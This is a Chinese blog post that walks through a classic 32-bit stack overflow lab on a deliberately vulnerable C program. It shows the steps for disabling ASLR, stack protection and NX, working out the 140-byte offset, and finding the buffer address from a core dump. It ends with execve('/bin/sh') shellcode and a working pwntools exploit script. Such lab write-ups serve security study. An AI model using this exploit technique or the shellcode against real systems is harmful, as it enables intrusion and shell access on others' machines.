zoukankan      html  css  js  c++  java
  • PWN头秃之旅

    前两天无意间看到一篇大神的文章,里面讲了经典栈溢出,看完之后才发现咱屡战屡败的经典栈溢出实验除了偏移量计算问题,还有另外一个大坑>_<。预感这俩问题解决之后咱的经典栈溢出实验会迎来曙光~

    为了减少不必要的麻烦,重新安装了32位ubuntu虚拟机,再按如下顺序安装pwntools: 

    sudo apt-get install python-pip 
    sudo apt-get install libffi-dev libssl-dev
    pip install -U setuptools
    pip install pwntools

    pwntools安装成功:

    找一段存在栈溢出漏洞的程序代码:

    #!c
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    
    void vulnerable_function() {
        char buf[128];
        read(STDIN_FILENO, buf, 256);
    }
    
    int main(int argc, char** argv) {
        vulnerable_function();
        write(STDOUT_FILENO, "Hello, World
    ", 13);
    }
    View Code

    经典栈溢出实验的前提有两个:

    1.关闭地址随机化,关闭方法如下:

    echo 0 > /proc/sys/kernel/randomize_va_space

    2.关闭NX和栈保护,因为要需要执行自己写的shellcode。在编译程序时加上参数-fno-stack-protector和-z execstack即可:

    gcc -fno-stack-protector -z execstack -o level1 level1.c

     经典栈溢出的思路就是在程序存在缓冲区溢出时,通过覆盖返回地址来执行恶意shellcode。下面实验开始:

    1. 计算偏移量

    即计算从溢出点到函数返回点之间的偏移量。之前咱是通过慢慢累加参数长度直到程序溢出报错来找偏移量的(虽然很蠢,但是能找到)。其实可以用IDA来找:

            

    偏移量=0x88+0x4=140字节,也就是说咱们需要填充140个字节,才能覆盖程序的返回地址。这里的偏移量必须计算得很精确,多一个少一个字节都不行!咱之前的失败就是没有加后面那4个字节。。。

    2.shellcode的执行地址

    这个程序不像前面的CTF题目已经给了现成的shellcode(如system,/bin/sh),所以需要自己来找到执行shellcode的内存地址。这里就是开头说的大坑,咱之前是通过gdb调试来找的,但是大神说gdb的调试环境会影响buf在内存中的位置,即使关闭ASLR,也只能保证buf的地址在gdb调试环境中不变,真正执行程序的时候,buf的位置会改变。

    下面按照大神介绍的方法来找:

    开启core dump:

    ulimit -c unlimited
    sudo sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern'

    执行我们编译好的程序level1,输入140个字符:

    进入tmp文件夹,看到tmp下生成了一个名为core.****的文件

     回到level1所在的文件夹,执行以下命令:

    gdb level1 /tmp/core.1595989753

    找到目标地址为:0xbfffef90,这个地址就是我们要找的shellcode的执行地址了~

    3.构造shellcode

    shellcode = "x31xc9xf7xe1x51x68x2fx2fx73"
    shellcode += "x68x68x2fx62x69x6ex89xe3xb0"
    shellcode += "x0bxcdx80"

    这段shellcode翻译过来就是这句话:execve ("/bin/sh")。execve函数和system函数的作用差不多。

    4.编写攻击脚本

    #!python
    #!/usr/bin/env python
    from pwn import *
    
    p = process('./level1') 
    ret = 0xbfffef90
    
    shellcode = "x31xc9xf7xe1x51x68x2fx2fx73"
    shellcode += "x68x68x2fx62x69x6ex89xe3xb0"
    shellcode += "x0bxcdx80"
    
    payload = shellcode + 'A' * (140 - len(shellcode)) + p32(ret)
    
    print payload 
    
    p.send(payload) 
    
    p.interactive()  
    View Code

    脚本执行:

    终于成功了啦啦啦(~ ̄▽ ̄)~,大神不愧为大神,给大神点赞o( ̄▽ ̄)d 

    最后附上大神的文章链接:http://www.vuln.cn/6645

    本文仅用于技术学习和交流,严禁用于非法用途,否则产生的一切后果自行承担。  

    如需转载,请注明出处,这是对他人劳动成果的尊重。

  • 相关阅读:
    R 语言中的数据结构
    minimap2 长reads比对工具
    seqtk 一款快速处理fasta/fastq 文件的小程序
    Eclipse R语言开发环境搭建 StatET插件
    Windows 安装R
    HttpClient 发送请求和参数
    Java Base64编码和解码
    docker 安装
    docker
    inotify 监控文件系统操作
  • 原文地址:https://www.cnblogs.com/sallyzhang/p/13390655.html
Copyright © 2011-2022 走看看